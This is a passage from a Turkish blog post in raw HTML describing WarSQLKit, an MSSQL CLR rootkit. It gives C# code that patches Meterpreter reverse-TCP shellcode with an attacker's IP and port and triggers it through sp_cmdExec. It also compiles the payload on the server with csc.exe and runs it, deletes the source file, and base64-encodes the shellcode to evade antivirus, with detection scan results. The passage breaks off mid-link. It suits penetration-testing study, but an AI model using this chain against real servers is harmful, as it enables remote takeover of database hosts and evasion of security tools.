olu\u015fturdum. Olu\u015fturdu\u011fum bu class\u2019a public void t\u00fcr\u00fcnde ve SaveReverseMeterpreter() ad\u0131nda bir metot tan\u0131ml\u0131yoruz. Bu metoda shellcode\u2019u \u00e7al\u0131\u015ft\u0131racak gereksinimleri tan\u0131ml\u0131yoruz.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/11_shellcode_csharp.png\" alt=\"\" class=\"wp-image-507\"\/><figcaption class=\"wp-element-caption\">11_shellcode_csharp<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Bu i\u015flemin ard\u0131ndan MeterpreterBuilder class\u0131m\u0131z\u0131n globaline a\u015fa\u011f\u0131daki parametreleri tan\u0131ml\u0131yoruz.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/12_shellcode_csharp-1024x165.png\" alt=\"\" class=\"wp-image-508\"\/><figcaption class=\"wp-element-caption\">12_shellcode_csharp<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Shellcode\u2019umuzu \u00e7al\u0131\u015ft\u0131racak class\u2019\u0131m\u0131z haz\u0131r. Direkt olarak sp_cmdExec \u00fczerinden \u00e7al\u0131\u015ft\u0131rmak istedi\u011fimizde kar\u015f\u0131m\u0131za 2 problem \u00e7\u0131kacakt\u0131r. 1. MSSQL (sqlservr.exe) bu shellcode\u2019u \u00e7al\u0131\u015ft\u0131rmam\u0131za izin vermeyecektir. 2. Her seferinde msfvenom\u2019dan csharp shellcode\u2019u \u00fcretip, DLL\u2019imizi g\u00fcncellememiz de bize b\u00fcy\u00fck bir y\u00fck \u00e7\u0131karacakt\u0131r. Bu y\u00fczden \u00f6ncelikle bu problemleri \u00e7\u00f6zmemiz gerekiyor.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Shellcode\u2019u \u00e7al\u0131\u015ft\u0131rmak i\u00e7in .NET Framework\u2019\u00fcn dahili derleyicisini kullanarak (Visual Studio\u2019ya ihtiya\u00e7 olmadan) kodumuzu exe olarak build ederek ayr\u0131 bir process olarak \u00e7al\u0131\u015ft\u0131rmam\u0131z gerekiyor. Her seferinde msfvenom ve shellcode ile u\u011fra\u015famayaca\u011f\u0131m\u0131z i\u00e7in, SaveReverseMeterpreter() metodumuza string ip ve string port \u015feklinde parametre tan\u0131mlayarak, stored procedure\u2019\u00fcm\u00fczden gelecek IP-port parametresi ile shellcode\u2019umuzu g\u00fcncelleyerek, derlememiz gerekiyor. 1. Ad\u0131m i\u00e7in \u201c.NET Framework\u2019den Faydalanarak (Visual Studio Olmadan) MSSQL \u00dczerinden C# Kodu Derleme\u201d ba\u015fl\u0131kl\u0131 b\u00f6l\u00fcm\u00fc okuyabilirsiniz. 2. ad\u0131mda metodumuzu public static void SaveReverseMeterpreter(string ip, string port) \u015feklinde g\u00fcncelliyoruz. Art\u0131k SaveReverseMeterpreter metodu \u00e7a\u011fr\u0131ld\u0131\u011f\u0131nda bir IP ve port girmemizi isteyecektir. Girilen IP ve port bilgisine g\u00f6re de shellcode\u2019umuzu g\u00fcncelleyece\u011fiz. Bunun i\u00e7in a\u015fa\u011f\u0131daki kodlardan faydalanabiliriz.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>var ipOctetSplit = ip.Split('.');\nbyte octByte1 = Convert.ToByte(ipOctetSplit&#91;0]);\nbyte octByte2 = Convert.ToByte(ipOctetSplit&#91;1]);\nbyte octByte3 = Convert.ToByte(ipOctetSplit&#91;2]);\nbyte octByte4 = Convert.ToByte(ipOctetSplit&#91;3]);\nint inputPort = Int32.Parse(port);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Parametre olarak g\u00f6nderilen IP\u2019yi \u201c.\u201d ya g\u00f6re split ediyoruz. B\u00f6ylece IP 4 octet\u2019e ayr\u0131lm\u0131\u015f olacakt\u0131r. Her octet i\u00e7in byte t\u00fcr\u00fcnde bir de\u011fi\u015fken tan\u0131mlayarak, Convert.ToByte ile de string olarak gelen IP octetlerini byte t\u00fcr\u00fcne \u00e7eviriyoruz. Ayn\u0131 i\u015flemi port i\u00e7in de yap\u0131yoruz.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Port i\u00e7in yapt\u0131\u011f\u0131m\u0131z i\u015flem biraz daha farkl\u0131 oldu. Port\u2019u Int32 t\u00fcr\u00fcne parse ettik. Bunun sebebi \u015fudur; port sadece rakamdan olu\u015fmaktad\u0131r. Arada bir noktalama i\u015fareti bulunmamaktad\u0131r. Ayr\u0131ca port 256\u2019dan b\u00fcy\u00fck bir rakama denk gelebilir. Yani port 4444 olarak tan\u0131mland\u0131ysa 256\u2019dan b\u00fcy\u00fck oldu\u011fu i\u00e7in Meterpreter shellcode\u2019da 2 byte\u2019l\u0131k bir de\u011fere sahip olacakt\u0131r. Biz portun hangi say\u0131 ile set edilece\u011fini bilmedi\u011fimiz i\u00e7in, port numaras\u0131n\u0131n b\u00fcy\u00fckl\u00fc\u011f\u00fcne bakarak, hangi byte\u2019\u0131 set etmemiz gerekti\u011fine karar verece\u011fiz.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>byte port1Byte = 0x00;\nbyte port2Byte = 0x00;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">0x00 de\u011ferine sahip, byte t\u00fcr\u00fcnden 2 adet de\u011fi\u015fken tan\u0131mlad\u0131m.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if (inputPort &gt; 256)\n                {\n                    int portOct1 = inputPort \/ 256;\n                    int portOct2 = portOct1 * 256;\n                    int portOct3 = inputPort - portOct2;\n                    int portoct1Calc = portOct1 * 256 + portOct3;\n                    if (inputPort == portoct1Calc)\n                    {\n                        port1Byte = Convert.ToByte(portOct1);\n                        port2Byte = Convert.ToByte(portOct3);\n                    }\n                }\n                else\n                {\n                    port1Byte = 0x00;\n                    port2Byte = Convert.ToByte(inputPort);\n                }<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Int32 t\u00fcr\u00fcne set etti\u011fimiz port de\u011ferini kontrol etmek i\u00e7in bir if ko\u015fulu tan\u0131mlad\u0131m. Buna g\u00f6re girilen port numaras\u0131 256\u2019dan b\u00fcy\u00fckse ko\u015fulumuz \u00e7al\u0131\u015facak ve bir hesaplama yapmak zorunda kalaca\u011f\u0131z. Port e\u011fer 256\u2019dan b\u00fcy\u00fckse, ilk olarak girilen portu 256\u2019ya b\u00f6lerek, \u00e7\u0131kan tam rakam\u0131 int t\u00fcrden bir de\u011fi\u015fkene at\u0131yoruz. Daha sonra \u00e7arpan toplam\u0131n\u0131 hesaplamak i\u00e7in int t\u00fcrden ikinci bir de\u011fi\u015fken tan\u0131ml\u0131yoruz ve bir \u00f6nceki de\u011ferden elde edilen int de\u011fi\u015fken ile 256\u2019y\u0131 \u00e7arp\u0131yoruz.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00c7arpan hesapland\u0131ktan sonra set edilen porttan, elde etti\u011fimiz ikinci de\u011fi\u015fkenin de\u011ferini \u00e7\u0131kararak \u00fc\u00e7\u00fcnc\u00fc bir int de\u011fi\u015fkene at\u0131yoruz. Ard\u0131ndan bir if ko\u015fulu daha tan\u0131mlayarak, girilen port de\u011feri ile hesaplamadan \u00e7\u0131kan port de\u011ferini kar\u015f\u0131la\u015ft\u0131r\u0131yoruz. E\u011fer ko\u015ful do\u011fru olarak sa\u011flan\u0131yorsa \u00e7\u0131kan de\u011ferleri, daha \u00f6nce tan\u0131mlad\u0131\u011f\u0131m\u0131z byte t\u00fcr\u00fcndeki port de\u011fi\u015fkenlerine at\u0131yoruz.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Bu k\u0131s\u0131m biraz kar\u0131\u015f\u0131k gelebilir. Daha anla\u015f\u0131l\u0131r olmas\u0131 i\u00e7in \u00f6rnekleme yapaca\u011f\u0131m. \u00d6rne\u011fin biz meterpreter\u2019\u0131n 4444 portundan bize d\u00f6nmesini istiyoruz. Shellcode\u2019umuzda bu port i\u00e7in ayr\u0131lm\u0131\u015f 2 byte\u2019l\u0131k alan var, bu alan\u0131 set etmemiz gerekiyor. 4444\/256=17 rakam\u0131n\u0131 buluyoruz. 17*256=4352. 4444-4352=92 de\u011ferlerini buluyoruz. Buna g\u00f6re 4444 portu i\u00e7in 17 ve 92 say\u0131lar\u0131n\u0131 shellcode\u2019umuza tan\u0131mlamam\u0131z laz\u0131m. 17\u2019nin byte (hex) t\u00fcrden kar\u015f\u0131l\u0131\u011f\u0131 0x11 ve 92\u2019nin byte t\u00fcrden kar\u015f\u0131l\u0131\u011f\u0131 ise 0x5c olacakt\u0131r. 57156 portu i\u00e7in \u00f6rneklersek de 57156\/256=223, 223*256=57088, 57156-57088=68, kar\u015f\u0131l\u0131\u011f\u0131 ise 0xdf ve 0x044 olacakt\u0131r. Shellcode\u2019umuzda port de\u011ferine kar\u015f\u0131l\u0131k gelen byte de\u011fi\u015fkenlerine bunlar\u0131 atamam\u0131z gerekiyor.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00d6rnek olarak verdi\u011fimiz 192.168.139.129 IP adresimiz shellcode\u2019umuzda 0xc0, 0xa8, 0x8b, 0x81\u2019e denk gelecektir. \u015eimdi bu de\u011fi\u015fkenleri shellcode\u2019umuzda de\u011fi\u015ftirmemiz gerekiyor. Belirtti\u011fim parametreler ile msfvenom\u2019dan \u00fcretece\u011fimiz shellcode hep ayn\u0131 de\u011fi\u015fken s\u0131ras\u0131 ile \u00fcretilecektir. Byte array\u2019de yer alan IP ve port bilgisi a\u015fa\u011f\u0131daki gibi olacakt\u0131r.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/13_shellcode_csharp.png\" alt=\"\" class=\"wp-image-509\"\/><figcaption class=\"wp-element-caption\">13_shellcode_csharp<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Byte array\u2019in 174, 175, 176 ve 177 numaralar\u0131nda bizim set etti\u011fimiz IP adresinin tutuldu\u011funu g\u00f6rebiliriz. Port hesaplamaya yukarda de\u011finmi\u015ftim. 4444 portunun 17 ve 92\u2019ye kar\u015f\u0131l\u0131k geldi\u011fini g\u00f6rm\u00fc\u015ft\u00fck. Portumuz da 181 ve 182 byte\u2019larda yer almaktad\u0131r. Parametre olarak g\u00f6nderilen IP ve port i\u00e7in byte array\u2019de yer alan alanlar\u0131 de\u011fi\u015ftirmemiz yeterli olacakt\u0131r.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>buf&#91;174] = octByte1;\nbuf&#91;175] = octByte2;\nbuf&#91;176] = octByte3;\nbuf&#91;177] = octByte4;\nbuf&#91;181] = port1Byte;\nbuf&#91;182] = port2Byte;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Shellcode i\u00e7erisinde yer alan IP ve port de\u011ferlerini yukar\u0131daki gibi set ediyoruz. Buraya kadar her \u015fey tamamd\u0131r. \u015eimdi StoredProcedure.cs\u2019e geri d\u00f6nerek, Meterpreter shellcode\u2019umuzu \u00e7a\u011f\u0131racak tan\u0131mlamay\u0131 yapmal\u0131y\u0131z. Yani MSSQL\u2019den \u201cEXEC sp_cmdExec \u2018sp_meterpreter_reverse_tcp 192.168.139.129 4444\u2019\u201d \u015feklinde bir komut \u00e7al\u0131\u015ft\u0131rd\u0131\u011f\u0131m\u0131zda, SaveReverseMeterpreter(string ip, string port) metodumuzu \u00e7a\u011f\u0131rs\u0131n.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/14_save_reverse_meterpreter.png\" alt=\"\" class=\"wp-image-510\"\/><figcaption class=\"wp-element-caption\">14_save_reverse_meterpreter<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">CmdExec i\u00e7erisine bir if ko\u015fulu tan\u0131mlayarak, g\u00f6nderilen komut i\u00e7erisinde \u201c<strong>sp_meterpreter_reverse_tcp<\/strong>\u201d varsa, komutun bo\u015fluklara g\u00f6re split edilmesi gerekti\u011fini s\u00f6yledik. Daha sonra MeterpreterBuilder s\u0131n\u0131f\u0131n\u0131 \u00e7a\u011f\u0131rarak Ip ve Port de\u011ferlerini set ederek, SaveReverseMeterpreter() metodunu \u00e7a\u011f\u0131rd\u0131k. Art\u0131k kodlar\u0131m\u0131z haz\u0131r. Bu kodlar\u0131 MSSQL sunucusunda .NET Framework kullanarak, Visual Studio olmadan derleyece\u011fiz ve Meterpreter exe\u2019sini build edece\u011fiz. B\u00f6ylece \u201csqlservr.exe\u201dnin shellcode\u2019u \u00e7al\u0131\u015ft\u0131rma engelini atlaca\u011f\u0131z.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Not: IsRunSystemPriv parametresini daha sonra a\u00e7\u0131klayaca\u011f\u0131m.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">8. .NET Framework\u2019den Faydalanarak (Visual Studio Olmadan) MSSQL \u00dczerinden C# Kodu Derleme<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Bu b\u00f6l\u00fcmde olu\u015fturdu\u011fumuz Meterpreter shellcode\u2019unu bir csharp (.cs) dosyas\u0131 haline getirerek, SQL sunucusunda \u00e7al\u0131\u015ft\u0131racak kodlar\u0131m\u0131za de\u011finece\u011fim. 7. B\u00f6l\u00fcmde olu\u015fturdu\u011fumuz shellcode\u2019u bir console uygulamas\u0131 \u015feklinde yeniden d\u00fczenlememiz gerekiyor.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/15_shellcode_save_cs-1024x690.png\" alt=\"\" class=\"wp-image-511\"\/><figcaption class=\"wp-element-caption\">15_shellcode_save_cs<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Shellcode\u2019umuzu bir console uygulamas\u0131 \u015feklinde var(string) t\u00fcr\u00fcnden bir de\u011fi\u015fkene doldurdum. De\u011fi\u015fkene doldurdu\u011fum bu string veriyi SQL Server\u2019daki yazma iznimizin oldu\u011fu bir dizine yazd\u0131rmam\u0131z laz\u0131m. Bu i\u015flem i\u00e7in a\u015fa\u011f\u0131daki kodu kullanabiliriz.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>File.WriteAllText(@\"C:\\\\ProgramData\\\\meterpreter_reverse_tcp.cs\", strMtr);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Metodumuzu SQL Serverdan \u00e7a\u011f\u0131rd\u0131\u011f\u0131m\u0131zda C:\\ProgramData dizinine meterpreter_reverse_tcp.cs ismi ile shellcode\u2019umuzu kaydedecektir. SQL Server\u2019a kaydedilen dosyam\u0131z a\u015fa\u011f\u0131daki gibi g\u00f6r\u00fcnecektir.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/16_shellcode_save_cs-1024x248.png\" alt=\"\" class=\"wp-image-512\"\/><figcaption class=\"wp-element-caption\">16_shellcode_save_cs<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">SQL Server\u2019a kaydettirdi\u011fimiz csharp (.cs) dosyam\u0131z\u0131 Visual Studio olmadan derlemeye ihtiyac\u0131m\u0131z var. Bunun i\u00e7in sunucuda .net framework\u2019\u00fcn y\u00fckl\u00fc olmas\u0131 yeterlidir. Zaten MSSQL \u00fczerinde \u00e7al\u0131\u015ft\u0131\u011f\u0131m\u0131z i\u00e7in, MSSQL\u2019in .Net Framework ba\u011f\u0131ml\u0131l\u0131\u011f\u0131 var. Yani her ko\u015fulda sunucuda .Net Framework var diyebiliriz. \u0130yi g\u00fczel, .Net Framework var lakin hangi s\u00fcr\u00fcm\u00fc var sunucuda? Bunu bilmiyoruz. S\u00fcr\u00fcm\u00fc veya s\u00fcr\u00fcmleri \u00f6\u011frenmek i\u00e7in a\u015fa\u011f\u0131daki gibi bir metot daha yaz\u0131yoruz.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/17_net_framework_version.png\" alt=\"\" class=\"wp-image-513\"\/><figcaption class=\"wp-element-caption\">17_net_framework_version<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">List&lt;string&gt; t\u00fcr\u00fcnden bir Generic List olu\u015fturarak, \u201cC:\\Windows\\Microsoft.NET\\Framework\u201d klas\u00f6r\u00fcnde bulunan alt dizinlerin isimlerini generic list i\u00e7erisine dolduruyoruz. Sunucuda y\u00fckl\u00fc olan t\u00fcm .Net Framework\u2019ler bu dizinde yer almaktad\u0131r. Bu bilgiyi de elde ettikten sonra, art\u0131k gidip csharp(.cs) dosyam\u0131z\u0131 build edebiliriz.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">.Net Framework\u2019\u00fcn kurulu oldu\u011fu dizinde \u201ccsc.exe\u201d dosyas\u0131 bulunmaktad\u0131r. csc.exe .net framework ile birlikte gelen bir csharp derleyicisidir. Bu exe\u2019yi kullanarak Visual Studio\u2019ya ihtiya\u00e7 duymadan, herhangi bir .cs dosyas\u0131n\u0131 derleyebiliriz. Rootkit\u2019te kulland\u0131\u011f\u0131m \u00f6rnek derleme i\u015flemi a\u015fa\u011f\u0131daki gibidir.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/18_build_meterpreter-1024x144.png\" alt=\"\" class=\"wp-image-514\"\/><figcaption class=\"wp-element-caption\">18_build_meterpreter<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Cmd.exe\u2019nin \/c parametresine g\u00fcncel .Net Framework versiyonun y\u00fckl\u00fc oldu\u011fu dizinde bulunan csc.exe\u2019yi \u00e7al\u0131\u015ft\u0131rarak \u201c\/unsafe \/platform:x86\u201d x86 mimaride bir derleme yapmas\u0131n\u0131, derlenen exe\u2019yi \u201c\/out:C:\\ProgramData\\\u201d dizinine random bir isimle kaydetmesini ve kaynak kod olarak da \u201cC:\\ProgramData\\\u201d dizinine random bir isimle kaydetti\u011fim meterpreter_reverse_tcp.cs dosyas\u0131n\u0131 derlemesini s\u00f6yledim.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ard\u0131ndan \u201cFile.Delete(@\u201dC:\\ProgramData\\\u201d + randomFileName + @\u201d_reverse.cs\u201d);\u201d ile olu\u015fturmu\u015f oldu\u011fum .cs dosyas\u0131n\u0131 sunucudan silmesini istedim. Ve son olarak da \u201cBuildRunMeterpreter(@\u201dC:\\Windows\\System32\\cmd.exe\u201d, @\u201d \/c C:\\ProgramData\\\u201d + randomFileName + @\u201d_reverse.exe\u201d);\u201d kodu ile de cmd.exe \/c parametresi ile olu\u015fturdu\u011fum Meterpreter exe\u2019sini \u00e7al\u0131\u015ft\u0131rmas\u0131n\u0131 istedim.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Not: Bu i\u015flemlerden \u00f6nce msfconsole\u2019dan exploit\/multi\/handler kullanarak windows\/meterpreter\/reverse_tcp payload\u2019\u0131n\u0131 set etmi\u015f ve ba\u011flant\u0131lar\u0131 bekliyor olmam\u0131z gerekiyor. WarSQLKit i\u00e7erisinde bu y\u00f6ntem ile tan\u0131mlanm\u0131\u015f olan 4 adet Meterpreter ajan\u0131 mevcuttur. A\u015fa\u011f\u0131daki Meterpreter payload\u2019lar\u0131n\u0131 WarSQLKit i\u00e7erisinde kullanabiliriz.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>windows\/meterpreter\/reverse_tcp<\/li>\n\n\n\n<li>windows\/meterpreter\/bind_tcp<\/li>\n\n\n\n<li>windows\/x64\/meterpreter_reverse_tcp<\/li>\n\n\n\n<li>windows\/meterpreter\/reverse_tcp_rc4<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Dip Not: Olu\u015fturdu\u011fumuz bu Meterpreter shellcode\u2019u bir\u00e7ok antivir\u00fcse yakalanacak ve \u00e7al\u0131\u015fmas\u0131 duracakt\u0131r. Bu y\u00fczden bir sonraki b\u00f6l\u00fcm olan \u201cMeterpreter Shellcode\u2019unu Anti-Vir\u00fcslerden Saklama Tekni\u011fi\u201d ba\u015fl\u0131\u011f\u0131nda, shellcode\u2019umuzu antivir\u00fcsten nas\u0131l saklayaca\u011f\u0131m\u0131za ge\u00e7memiz gerekiyor.<\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">9. Meterpreter Shellcode\u2019unu Anti-Vir\u00fcslerden Saklama Tekni\u011fi<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Klasik olu\u015fturdu\u011fumuz shellcode\u2019umuz maalesef ki antivir\u00fcslere yakalanacakt\u0131r. Bu sebeple, shellcode\u2019umuzu nas\u0131l antivir\u00fcslerden saklar\u0131z diye d\u00fc\u015f\u00fcn\u00fcrken, sevgili Tolga Sezer ile akl\u0131m\u0131za shellcode\u2019u base64 ile encode etmek ve \u00e7al\u0131\u015fma an\u0131nda base64\u2019\u00fc shellcode t\u00fcr\u00fcne \u00e7evirerek \u00e7al\u0131\u015ft\u0131rmak geldi.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Peki nas\u0131l olacakt\u0131? Shellcode\u2019u base64 ile encode etti\u011fimizde IP ve port de\u011ferlerini nas\u0131l otomatize bir \u015fekilde de\u011fi\u015ftirecektik? Bunlar biraz sorun gibi g\u00f6r\u00fcnsede birka\u00e7 kolay y\u00f6ntem ile yapabilece\u011fimizi g\u00f6rece\u011fiz. \u00d6ncelikle shellcode\u2019un csharp t\u00fcr\u00fcnden raw halini almam\u0131z ve base64 encoding uygulamam\u0131z, ard\u0131ndan IP ve port de\u011ferlerini de\u011fi\u015ftirerek tekrar raw halini alarak base64 encoding uygulay\u0131p, de\u011fi\u015fen k\u0131s\u0131mlar\u0131 incelemem gerekiyordu. \u00c7\u00fcnk\u00fc daha \u00f6nceki \u00f6rnekte oldu\u011fu gibi IP ve port\u2019un denk geldi\u011fi byte dizisini de\u011fi\u015ftirdi\u011fimde base64 hataya d\u00fc\u015f\u00fcyordu. Tabi bunda base64\u2019\u00fcn 6\u2019bitlik d\u00f6rtl\u00fc gruplara da\u011f\u0131tma derdi vard\u0131. Bu y\u00fczden shellcode\u2019un base64 \u00e7\u0131kt\u0131s\u0131n\u0131 s\u0131k\u0131 bir incelemeden ge\u00e7irdim. \u0130lk olarak shellcode\u2019umuzun base64 ile encode edilmi\u015f haline bakmam\u0131zda fayda var.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/19_shellcode_base64-1024x72.png\" alt=\"\" class=\"wp-image-515\"\/><figcaption class=\"wp-element-caption\">19_shellcode_base64<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">IP ve port bilgilerini de\u011fi\u015ftirerek, shellcode\u2019a yeniden base64 encode uygulad\u0131\u011f\u0131m\u0131zda \u201cwKiLhmgCANkD\u201d karakterlerinin de\u011fi\u015fti\u011fini g\u00f6rd\u00fcm. Bu k\u0131sm\u0131 decode etti\u011fimde ise \u201cc0 a8 8b 86 68 02 00 d9 03\u201d de\u011ferleri oldu\u011funu g\u00f6rd\u00fcm. Bu decode etti\u011fim de\u011ferin s\u0131ras\u0131 ile \u201c192.168.139.134 104 2 0 217 3\u201d de\u011ferlerine kar\u015f\u0131l\u0131k geldi\u011fini anlad\u0131m. Yani IP ve port de\u011fi\u015ftirdi\u011fimizde base64\u2019\u00fcn bozulmadan d\u00fczg\u00fcn \u00e7al\u0131\u015fmas\u0131 i\u00e7in 9 byte\u2019\u0131n do\u011fru \u015fekilde set edilmesi gerekiyor. \u0130lk 4 byte IP\u2019ye ve son 2 byte da porta denk geliyor.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sabit bir base64 de\u011ferimizi shellCodeRaw isimli string t\u00fcrde de\u011fi\u015fkene tan\u0131mlam\u0131\u015ft\u0131k. Girilen IP ve port de\u011ferlerini base64\u2019\u00fcm\u00fcz\u00fc bozmadan, stringde de\u011fi\u015ftirmememiz gerekiyor. Bunun i\u00e7in 9 byte\u2019l\u0131k bir array\u2019a ihtiyac\u0131m\u0131z var.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/20_ip_port_byte.png\" alt=\"\" class=\"wp-image-516\"\/><figcaption class=\"wp-element-caption\">20_ip_port_byte<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Girilen IP ve port de\u011ferleri i\u00e7in 9 byte\u2019l\u0131k yeni bir array dizisi olu\u015fturdum. \u0130lk 4 byte set etti\u011fimiz IP adresini, son 2 byte ise portu temsil ediyordu. Bu 9 byte\u2019l\u0131k diziyi base64 ile encode etti\u011fimizde shellcode\u2019umuzun base64 halini bozmayacakt\u0131r.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/21_ip_port_base64.png\" alt=\"\" class=\"wp-image-517\"\/><figcaption class=\"wp-element-caption\">21_ip_port_base64<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">String t\u00fcr\u00fcnde ve s3 ad\u0131nda bir de\u011fi\u015fken tan\u0131mlad\u0131m. Tan\u0131mlam\u0131\u015f oldu\u011fum bu de\u011fi\u015fkene 9 byte\u2019l\u0131k olu\u015fturdu\u011fumuz array\u2019i base64 string\u2019e convert ediyoruz. Art\u0131k elimizde IP ve port de\u011fi\u015fkenlerine kar\u015f\u0131l\u0131k gelen bir base64 de\u011ferimiz var. Daha sonra newShellCode isminde bir string de\u011fi\u015fken tan\u0131ml\u0131yorum. Replace ile \u201cwKiLhmgCANkD\u201d de\u011ferini, olu\u015fturdu\u011fumuz 9 byte\u2019l\u0131k array\u2019in base64 hali ile de\u011fi\u015ftiriyorum.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Shellcode\u2019umuzun base64 hali haz\u0131r durumda. Girilen IP ve port de\u011ferlerini art\u0131k otomatik d\u00fczeltip, base64\u2019e \u00e7evirerek yeni base64 de\u011ferini olu\u015fturacak. Bu base64 de\u011ferini varsay\u0131landa \u00e7al\u0131\u015ft\u0131ram\u0131yoruz. Bu y\u00fczden \u00e7al\u0131\u015fma an\u0131nda base64 de\u011ferini byte array\u2019e \u00e7evirerek shellcode\u2019umuzu \u00e7al\u0131\u015ft\u0131raca\u011f\u0131z.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/22_new_shell_code.png\" alt=\"\" class=\"wp-image-518\"\/><figcaption class=\"wp-element-caption\">22_new_shell_code<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Bu i\u015fleminde ard\u0131ndan daha \u00f6nce tan\u0131mlad\u0131\u011f\u0131m\u0131z, \u201cfuncAddr\u201d ve \u201cMarshal.Copy\u201d alanlar\u0131ndaki de\u011fi\u015fken ad\u0131m\u0131z\u0131 de\u011fi\u015ftirerek, haz\u0131r hale getirebiliriz.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/23_marshall_copy.png\" alt=\"\" class=\"wp-image-519\"\/><figcaption class=\"wp-element-caption\">23_marshall_copy<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">CSharp(.cs) kodumuzu derleyip, exe olu\u015fturmas\u0131n\u0131 sa\u011flayal\u0131m ve shellcode\u2019umuzun yakalanma durumunu kontrol edelim. Ben her iki uygulama i\u00e7in farkl\u0131 console uygulamalar\u0131 olu\u015fturdum. Olu\u015fturdu\u011fum bu console uygulamalar\u0131n\u0131 online anti-vir\u00fcs sitelerine y\u00fckleyerek testleri yapt\u0131m. Her ne kadar virustotal\u2019in g\u00f6nderilen uygulamalar\u0131 anti-vir\u00fcs \u00fcreticileri ile payla\u015ft\u0131\u011f\u0131n\u0131 biliyor olsam da g\u00f6stermek ve k\u0131yaslama i\u00e7in y\u00fckledim.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Klasik Byte Array T\u00fcr\u00fcnden Shellcode\u2019un Test Sonu\u00e7lar\u0131<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Jotti (5\/18):&nbsp;<a href=\"https:\/\/virusscan.jotti.org\/en-US\/filescanjob\/kefjrqh37l\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/virusscan.jotti.org\/en-US\/filescanjob\/kefjrqh37l<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">NoDistribute (6\/32):&nbsp;<a href=\"https:\/\/nodistribute.com\/result\/fNvFlayZxHchAizjO3o4n\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/nodistribute.com\/result\/fNvFlayZxHchAizjO3o4n<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">VirusTotal (11\/60):&nbsp;<a 